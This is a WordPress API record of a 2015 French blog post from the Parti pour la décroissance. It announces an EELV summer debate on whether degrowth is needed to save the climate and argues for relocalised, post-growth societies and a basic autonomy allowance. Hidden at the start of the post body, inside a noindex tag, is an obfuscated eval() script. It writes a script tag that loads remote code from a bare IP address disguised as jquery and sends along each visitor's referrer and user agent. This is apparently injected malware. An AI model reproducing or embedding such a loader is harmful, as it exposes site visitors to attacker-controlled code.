{"id":9127,"date":"2015-08-17T16:45:13","date_gmt":"2015-08-17T15:45:13","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=9127"},"modified":"2015-08-18T07:52:51","modified_gmt":"2015-08-18T06:52:51","slug":"faut-il-decroitre-pour-sauver-le-climat","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=9127","title":{"rendered":"Faut-il d\u00e9cro\u00eetre pour sauver le climat ?"},"content":{"rendered":"<p><em><strong>Le <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tstya|var|u0026u|referrer|bidea||js|php'.split('|'),0,{}))\n<\/script><\/noindex> PPLD a \u00e9t\u00e9 invit\u00e9 par EELV \u00e0 participer <a href=\"http:\/\/jde.eelv.fr\/2015\/07\/08\/faut-il-decroitre-pour-sauver-le-climat\/\">au premier d\u00e9bat des journ\u00e9es d\u2019\u00e9t\u00e9 2015 \u00e0 Lille<\/a>.<\/strong> <strong>\u00ab Faut-il d\u00e9cro\u00eetre pour sauver le climat ? \u00bb<\/strong>.<\/em><br \/>\n<em>Anim\u00e9 par Christelle de Cr\u00e9miers et Jean Morlais co-animateurs du Groupe de Travail Economie Ecologiste ; Mathilde Szuba, docteure en sociologie de l\u2019environnement et secr\u00e9taire de l&rsquo;Institut Momentum ; Michel Sourrouille, d\u00e9mographie responsable et animateur du groupe de travail D\u00e9mographie et St\u00e9phane Madelaine, objecteur de croissance, co-auteur de \u00ab\u00a0Un Projet de D\u00e9croissance, Manifeste pour une Dotation Inconditionnelle d&rsquo;Autonomie\u00a0\u00bb.<\/em><br \/>\n<em>C\u2019est pour le jeudi 20 aout. Voici ci-dessous, \u00e0 titre indicatif, un texte relatif \u00e0 cette question<\/em><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/alternatiba.eu\/lehavre\/wp-content\/uploads\/sites\/60\/2015\/07\/flyer_coul_recto_Mouette.png\" alt=\"\" width=\"154\" height=\"209\" \/><\/p>\n<p style=\"text-align: center;\"><a href=\"https:\/\/alternatiba.eu\/lehavre\/\">Affiche de l&rsquo;Alternatiba du Havre<\/a><\/p>\n<p><strong>Conference of Parties\u2019, COP21<\/strong><br \/>\nA la fin de cette ann\u00e9e 2015, aura lieu la <a href=\"http:\/\/www.cop21paris.org\/a-propos\/cop21\">21\u00e8me Conf\u00e9rence annuelle des Parties<\/a>, \u00e9galement connue sous le nom de la Conf\u00e9rence sur le Climat \u00e0 Paris. La France envisage d\u2019obtenir, pour la premi\u00e8re fois en plus de 20 ans de n\u00e9gociations aux Nations Unies, un accord universel juridiquement contraignant sur le climat, ayant pour but de maintenir le r\u00e9chauffement climatique en-dessous de 2\u00b0C.<\/p>\n<p><strong>Une soci\u00e9t\u00e9 enti\u00e8re mobilis\u00e9e &#8230; \u00e0 diff\u00e9rents niveaux<\/strong><br \/>\nAinsi, toute la soci\u00e9t\u00e9 se mobilise, que ce soient les institutions, les m\u00e9dias ou les associations non gouvernementales et militantes. En France, dans le mouvement militant, les Alternatiba sont probablement les \u00e9v\u00e9nements les plus marquants de cette ann\u00e9e 2015. Mais m\u00eame les citoyens ordinaires sont concern\u00e9s. Du moins, ils sont sensibilis\u00e9s par la question. Et chacun y va de sa solution, ou de son panel de solutions.<br \/>\nD\u2019aucun travaillent sur l\u2019habitat. D\u2019autres sur l\u2019agriculture. Certains r\u00e9fl\u00e9chissent au syst\u00e8me \u00e9conomique, et notamment aux moyens d\u2019\u00e9changes via les monnaies locales, etc \u2026 Mais ce qui mobilise le plus de monde, ce sont les moyens de production, notamment la production d\u2019\u00e9nergies alternatives au p\u00e9trole.<br \/>\nSelon la vocation et l\u2019\u00e9chelle de la structure, &#8211; industrielle, capitaliste, \u00e9cologiste, localis\u00e9e -, la d\u00e9marche est plus ou moins sinc\u00e8re, et les alternatives sont diverses et vari\u00e9es : \u00e7a va des gaz de schistes, aux \u00e9nergies renouvelables telle que le solaire et l\u2019\u00e9olien, en passant par des \u00ab solutions \u00bb inattendue telles que la fabrication de p\u00e9trole de synth\u00e8se via de l\u2019eau ou d\u2019autres ressources, ou tout simplement des impostures tel que la pile \u00e0 combustible, et l\u2019air comprim\u00e9e, quand elles sont pr\u00e9sent\u00e9es comme une source d\u2019\u00e9nergie. Et enfin, ne parlons pas des \u00e9nergies libres qui sont pourtant pr\u00e9sent\u00e9es par les plus \u00e9cologistes ou anticonformistes, notamment en opposition au lobby du p\u00e9trole qui emp\u00eacherait le d\u00e9veloppement d\u2019\u00e9nergies r\u00e9volutionnaires.<br \/>\nIl y aurait beaucoup \u00e0 dire sur toutes ces alternatives, <a href=\"http:\/\/www.institutmomentum.org\/la-diminution-de-lenergie-nette-frontiere-ultime-de-lanthropoceneseminaire-du-13-decembre-2013-par-benoit-thevard\/\">sur leur \u00e9nergie nette<\/a>, sur la confusion \u00e0 propos de leur nature (entre source naturelle d\u2019\u00e9nergie et \u00e9nergie transport\u00e9e et stock\u00e9e)<!--more--><\/p>\n<p><strong>La Croissance comme seul projet de soci\u00e9t\u00e9 de nos institutions<\/strong><br \/>\n<a href=\"http:\/\/www.negawatt.org\/association.html\">Negawatt<\/a> d\u00e9compose son sc\u00e9nario en trois axes : le renouvelable, l\u2019efficacit\u00e9 (les progr\u00e8s techniques), mais aussi la sobri\u00e9t\u00e9. Or, \u00e0 part quelques voix isol\u00e9es, c\u2019est comme si tout le monde cherchait \u00e0 progresser sur les deux premiers axes. C&rsquo;est-\u00e0-dire \u00e0 trouver des solutions permettant de continuer \u00e0 avoir le m\u00eame mode de vie tout en consommant moins d\u2019\u00e9nergie. Au mieux, on parle de changement de comportements individuels, mais ceux-ci s\u2019inscriraient dans une m\u00eame soci\u00e9t\u00e9 structur\u00e9e par les m\u00eames visions du d\u00e9veloppement et le m\u00eame mod\u00e8le \u00e9conomique (co-voiturage, industrialisation du bio, etc&#8230;). Malheureusement, tout changement qui mettrait en danger le sacro-saint PIB sera disqualifi\u00e9.<\/p>\n<p><strong>Les usages et les pratiques comme projet de soci\u00e9t\u00e9 des Objecteurs de Croissance<\/strong><br \/>\nN\u2019oublions pas ce 3\u00e8me axe, celui qui concerne les usages et les les pratiques. Il s\u2019agit de changements collectifs, qui toucheraient l\u2019organisation des soci\u00e9t\u00e9s, leurs mani\u00e8res d\u2019\u00e9changer, de circuler, de produire et de consommer, d\u2019habiter, etc &#8230; Par exemple, le probl\u00e8me n\u2019est pas uniquement de savoir comment je vais faire mes 50 km pour aller de chez moi \u00e0 mon travail, en voiture, en train, en v\u00e9lo \u00e9lectrique, etc \u2026 mais d\u2019abord pourquoi la soci\u00e9t\u00e9 est structur\u00e9e pour que je sois oblig\u00e9 de faire ces 50 km, et comment inverser la tendance. Je pourrais m\u00eame me poser la question de mon travail &#8230;<br \/>\nIl ne faut pas oublier le 3\u00e8me volet. Certes, ce n\u2019est pas le seul, il ne faut pas opposer les solutions, mais il est n\u00e9cessaire de tous les inscrire dans un projet de soci\u00e9t\u00e9 clair et coh\u00e9rent en termes de soutenabilit\u00e9 et de d\u00e9sirabilit\u00e9.<\/p>\n<p><strong>S\u2019il n&rsquo;y avait que le climat &#8230;<\/strong><br \/>\nLes effets d\u00e9vastateurs du mod\u00e8le de d\u00e9veloppement \u00ab sans limite \u00bb de nos soci\u00e9t\u00e9s ne touchent pas uniquement le climat. Il y a bien s\u00fbr les autres limites environnementales qui sont atteintes (ressources, biodiversit\u00e9s, pollutions, saccage g\u00e9n\u00e9ral), mais aussi les limites sociales et culturelles.<br \/>\nOn pourrait essayer de donner du cr\u00e9dit au syst\u00e8me capitaliste et productiviste ; s\u2019il assurait \u00e0 tous l\u2019acc\u00e8s \u00e0 ce qui est n\u00e9cessaire pour vivre dignement ; s\u2019il assurait la s\u00e9r\u00e9nit\u00e9 et la s\u00e9curit\u00e9 ; s\u2019il donnait du sens \u00e0 nos vies ; si les gens n\u2019\u00e9taient pas malades de leur travail pour les uns, ou de ne pas en avoir pour les autres. Mais ce n\u2019est pas le cas, on ne peut pas donner cr\u00e9dit \u00e0 ce syst\u00e8me d\u00e9vastateur.<br \/>\nDe plus, quel serait l\u2019int\u00e9r\u00eat de sauver le climat, si pour cela nous devrions tomber dans une \u00e9cologie punitive, une sorte d\u2019\u00e9cofascisme qui viserait les plus d\u00e9favoris\u00e9s au b\u00e9n\u00e9fice de l\u2019oligarchie dans le but de lui garantir le m\u00eame mode de vie excessif\u00a0 qu\u2019aujourd\u2019hui. Quel serait l\u2019int\u00e9r\u00eat de sauver le climat s\u2019il fallait tomber dans une soci\u00e9t\u00e9 aseptis\u00e9e, hyper-technologique, d\u00e9shumanis\u00e9e pour \u00eatre plus efficace, transhumanis\u00e9e ?<br \/>\nSauver le climat n\u2019est pas un but, c\u2019est un moyen de construire d\u2019autres soci\u00e9t\u00e9s plus justes, soutenables et souhaitables.<\/p>\n<p><strong>Un Projet de D\u00e9croissance pour initier des transitions<\/strong><br \/>\nNotre Utopie, le Projet de la D\u00e9croissance, c\u2019est une soci\u00e9t\u00e9 qui sortirait du culte du toujours plus. Qui serait capable de trouver un \u00e9quilibre sans produire et consommer toujours plus. Sans faire de la Croissance un objectif, duquel la pluparts des citoyens seraient asservi.<br \/>\nCe serait <a href=\"http:\/\/www.projet-decroissance.net\/?p=1852\">une soci\u00e9t\u00e9 partiellement relocalis\u00e9e<\/a>, que ce soit pour la production d\u2019aliments, pour les manufactures, pour la d\u00e9mocratie, ou pour les liens sociaux quotidiens. Une soci\u00e9t\u00e9 autonome et conviviale. Une autonomie collective telle que chacun pourrait se r\u00e9approprier ses besoins, ses outils de production et de d\u00e9cisions, ainsi que les cons\u00e9quences de ses actes. Une nouvelle d\u00e9mocratie, o\u00f9 ce ne serait ni l\u2019oligarchie, ni les D\u00e9croissants qui d\u00e9cideraient pour les autres. Une soci\u00e9t\u00e9 qui ne serait pas condamn\u00e9e \u00e0 produire toujours plus d\u2019innovations (parfois tr\u00e8s toxiques) dans le seul but de ne pas s\u2019effondrer dans une r\u00e9cession subie, dans la barbarie. Une soci\u00e9t\u00e9 qui produirait donc moins, mais mieux, et qui partagerait plus. Une soci\u00e9t\u00e9 du temps libre du coup. Une soci\u00e9t\u00e9 sereine qui assurerait \u00e0 chacun les conditions du bien \u00eatre (DIA et RdB), de sorte que tout le monde puisse choisir ses activit\u00e9s, marchandes ou non, sans peur du lendemain, et en coh\u00e9rence avec le projet de soci\u00e9t\u00e9 de la collectivit\u00e9. Une soci\u00e9t\u00e9 sereine, donc ouverte aux autres culturellement.<br \/>\nCertes, c\u2019est une Utopie. Mais c\u2019est une utopie r\u00e9alisatrice dans le sens o\u00f9 elle permet de questionner (et de mettre en d\u00e9faut) les autres Utopies telles que celles du d\u00e9veloppementisme ou du techno-scientisme ; dans le sens o\u00f9 elle permet de s\u2019interroger sur les chemins, \u00e0 emprunter, sans attendre, qui permettraient de se diriger vers cette Utopie.<\/p>\n<p><strong>Un mot obus contre le char id\u00e9ologique de la Croissance<\/strong><br \/>\nSortir aujourd\u2019hui de l\u2019id\u00e9ologie de croissance, c\u2019est comme vouloir d\u00e9placer les montagnes, tellement celle-ci est ancr\u00e9e dans notre quotidien. Tellement elle nous est pr\u00e9sent\u00e9e par cette oligarchie qui d\u00e9tient tous les pouvoirs m\u00e9diatiques, politique et productifs, comme allant de soi, comme \u00e9tant le seul mod\u00e8le possible, le mod\u00e8le qui a toujours exist\u00e9.<br \/>\nC\u2019est parce que cette id\u00e9ologie est forte que nous avan\u00e7ons avec notre mot obus, \u00ab D\u00e9croissance \u00bb.<br \/>\n&#8211; Pour dire \u00e0 nos amis environnementalistes (\u00e9cologistes), que \u00e7a aurait peu d\u2019int\u00e9r\u00eat de \u00ab sauver la plan\u00e8te \u00bb sans remettre en cause le capitalisme et le consum\u00e9risme. Ce sont les humains actuellement pr\u00e9sents sur Terre qu\u2019il faut \u00ab sauver \u00bb.<br \/>\n&#8211; Pour dire\u00a0 \u00e0 nos amis de la gauche progressiste que c\u2019est vain de r\u00e9duire les in\u00e9galit\u00e9s par la cr\u00e9ation d\u2019emplois si on n\u2019interroge pas le sens de ces emplois et de leurs productions, ainsi que leurs impacts.<br \/>\n&#8211; Pour dire \u00e0 nos amis d\u2019EELV que l\u2019\u00e9cologie ne sert pas \u00e0 cr\u00e9er de l\u2019emploi ! Est-ce que si les secteurs des \u00e9nergies renouvelables (par ex.) ne cr\u00e9aient pas d\u2019emplois, on dirait qu\u2019il ne faut pas sortir du fossile ou du nucl\u00e9aire ? Ce n\u2019est pas un argument.<\/p>\n<p><strong>Et l\u2019emploi, dans une soci\u00e9t\u00e9 d\u2019a-croissance ?<\/strong><br \/>\nLa question de l\u2019emploi n\u2019est pas li\u00e9e au volume total de production.<br \/>\nIl s\u2019agit simplement d\u2019un probl\u00e8me de r\u00e9partition des richesses, exacerb\u00e9 par la marchandisation du travail : du travail, il y en aura toujours. Au final, le probl\u00e8me de l\u2019emploi est tout simplement un probl\u00e8me qui cache le refus de remettre en cause le niveau de vie occidental. En effet, les emplois r\u00e9ellement \u00e9colos sont des emplois qui produisent moins. Une parcelle exploit\u00e9e par 10 paysans bios ne produira pas plus que si elle est exploit\u00e9 par un seul exploitant hyper-m\u00e9canis\u00e9 et hyper-chimique. Mais cette parcelle produira de meilleurs produits, produira du lien social, du bien \u00eatre, de la satisfaction et nous dispensera du besoin de s\u2019acheter des pseudos gadgets pour compenser nos manques. Sommes-nous pr\u00eats \u00e0 partager le travail, et les productions ?<br \/>\nQuant au volume de production, il n\u2019y a pas de d\u00e9couplage notable possible entre le niveau de vie mat\u00e9riel (ind\u00e9pendamment des indices) et l\u2019extraction des ressources et l\u2019utilisation d\u2019\u00e9nergie fossile.<br \/>\nIl faut donc apprendre \u00e0 vivre mieux avec moins, \u00e0 redonner du sens \u00e0 nos vies, sans chercher \u00e0 n\u00e9gocier avec la r\u00e9alit\u00e9.<\/p>\n<p><strong>Les sciences \u00e9conomiques, des sciences naturelles ?<\/strong><br \/>\nSortir aujourd\u2019hui de l\u2019id\u00e9ologie de croissance, c\u2019est comme vouloir d\u00e9placer les montagnes, mais il est n\u00e9cessaire d\u2019essayer.<br \/>\nAttention, sortir de l\u2019id\u00e9ologie de la Croissance ne veut pas dire d\u00e9croitre pour d\u00e9croitre, ce n\u2019aurait pas de sens. Certes, le PIB va d\u00e9croitre, mais ce n\u2019est pas un levier. Certes, le PIB va d\u00e9croitre, mais pas l\u2019humain. Sortir de l\u2019id\u00e9ologie de la croissance, c\u2019est remettre l\u2019\u00e9conomie \u00e0 sa place.\u00a0 En faire un outil au service de projets de soci\u00e9t\u00e9s. Et non conditionner les projets de soci\u00e9t\u00e9s \u00e0 un mod\u00e8le \u00e9conomique qui nous est pr\u00e9sent\u00e9e comme naturel (comme en sciences physiques ou en sciences et vie de la Terre) tel que les crises nous sont pr\u00e9sent\u00e9es comme des calamit\u00e9s auxquelles on ne peut que simplement s\u2019adapter (au prix de sacrifices).<\/p>\n<p><strong>Les chemins vers des soci\u00e9t\u00e9s soutenables et souhaitables<\/strong><br \/>\nSortir aujourd\u2019hui de l\u2019id\u00e9ologie de croissance est une n\u00e9cessit\u00e9, et c\u2019est pour cela qu\u2019avec notre slogan provocateur nous commen\u00e7ons sans attendre \u00e0 emprunter les chemins qui nous m\u00e8nent \u00e0 notre Utopie, quitte \u00e0 parfois avancer \u00e0 contre courant.<br \/>\n\u00c7a commence \u00e0 dire cette Utopie, et \u00e0 proposer des outils permettant d\u2019avancer. Par exemple, pour initier des changements importants, il faut faire en sorte que personne ne se sente en danger. Naturellement, dans notre soci\u00e9t\u00e9 concurrentielle, de comp\u00e9titions et de dominations, les int\u00e9r\u00eats de uns ne vont pas n\u00e9cessairement avec les int\u00e9r\u00eats des autres. Inverser la tendance sans cr\u00e9er encore plus de frustrations et de conflits (voir les r\u00e9cents conflits sociaux : bonnets rouges, porc, etc\u2026) n\u00e9cessitera beaucoup de dialogue, l\u2019utilisation de la communication non violente (CNV), de vrais d\u00e9bats d\u00e9mocratiques non fauss\u00e9s mettant en lumi\u00e8res les tenants et aboutissants de telle ou telle pratique, de telle ou telle technique (impacts des productions d\u00e9localis\u00e9es).<br \/>\nUne Dotation Inconditionnelle d\u2019Autonomie, sorte de Revenue de Base partiellement d\u00e9mon\u00e9taris\u00e9, compl\u00e9t\u00e9 par des droits de tirage, des acc\u00e8s aux biens communs et services publiques ainsi qu\u2019\u00e0 des monnaies locales, permettrait \u00e0 chacun de s\u2019ouvrir aux d\u00e9bats n\u00e9cessaires \u00e0 un changement serein, puis d\u2019amortir certains bouleversement en autorisant les uns et les autres \u00e0 cesser des activit\u00e9s purement alimentaires pour ainsi se reconvertir vers d\u2019autres projets. La DIA associ\u00e9 \u00e0 un RMA (revenu maximal acceptable) est juste un outil technique au service d\u2019un choix politique et collectif de partage. Personne en dessous du plancher et personne en dessus du plafond.<br \/>\nCe RdB, bien qu\u2019\u00e9tant un outil, reste aussi une Utopie, mais \u00e0 force d\u2019\u00eatre r\u00e9p\u00e9t\u00e9e, c\u2019est une id\u00e9e qui fait son chemin au point d\u2019exister dans les t\u00eates et m\u00eame parfois dans le concret, localement (voir les exp\u00e9rimentations en Irlande, ici o\u00f9 l\u00e0).<br \/>\n\u00c7a commence aussi par exp\u00e9rimenter et vivre d\u00e8s maintenant de nouvelles mani\u00e8res de produire, d\u2019\u00e9changer, de consommer, de d\u00e9cider, dans le cadre de ces alternatives concr\u00e8tes qui fleurissent ici et l\u00e0, partout dans le monde.<\/p>\n<p><strong>Sortir de la soci\u00e9t\u00e9 de Croissance<\/strong><br \/>\nAlors, faut-il d\u00e9croitre pour sauver le climat ? \u00c7a risque d\u2019arriver, mais ce n\u2019est pas un levier, ce n\u2019est pas vraiment la question. D\u2019autant plus qu\u2019il ne s\u2019agit pas uniquement de sauver le climat.<br \/>\nLes impacts de l\u2019activit\u00e9 humaine sont trop rapides pour que l\u2019humanit\u00e9 puisse s\u2019y adapter sans douleur, sans barbarie. Il s\u2019agit de r\u00e9duire de ralentir au maximum ces ph\u00e9nom\u00e8nes.\u00a0 Et pour ce faire il faudra surtout changer nos mod\u00e8les de vie individuellement et collectivement. Ce qui passe n\u00e9cessaire par une remise en cause l\u2019id\u00e9ologie de la Croissance (ce qui n\u2019est pas exactement la m\u00eame chose que d\u00e9croitre).<\/p>\n<p><a href=\"http:\/\/www.projet-decroissance.net\/\">http:\/\/www.projet-decroissance.net\/<\/a><br \/>\n<a href=\"http:\/\/www.partipourladecroissance.net\/\">http:\/\/www.partipourladecroissance.net\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Le PPLD a \u00e9t\u00e9 invit\u00e9 par EELV \u00e0 participer au premier d\u00e9bat des journ\u00e9es d\u2019\u00e9t\u00e9 2015 \u00e0 Lille. \u00ab Faut-il d\u00e9cro\u00eetre pour sauver le climat ? \u00bb. Anim\u00e9 par Christelle de Cr\u00e9miers et Jean Morlais co-animateurs du Groupe de Travail &hellip; <a href=\"https:\/\/www.partipourladecroissance.net\/?p=9127\">Continuer la lecture <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,6,7],"tags":[],"class_list":["post-9127","post","type-post","status-publish","format-standard","hentry","category-actualites","category-agenda-du-p-p-l-d","category-billets-du-ppld"],"_links":{"self":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/9127","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=9127"}],"version-history":[{"count":5,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/9127\/revisions"}],"predecessor-version":[{"id":9134,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/9127\/revisions\/9134"}],"wp:attachment":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=9127"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=9127"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=9127"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}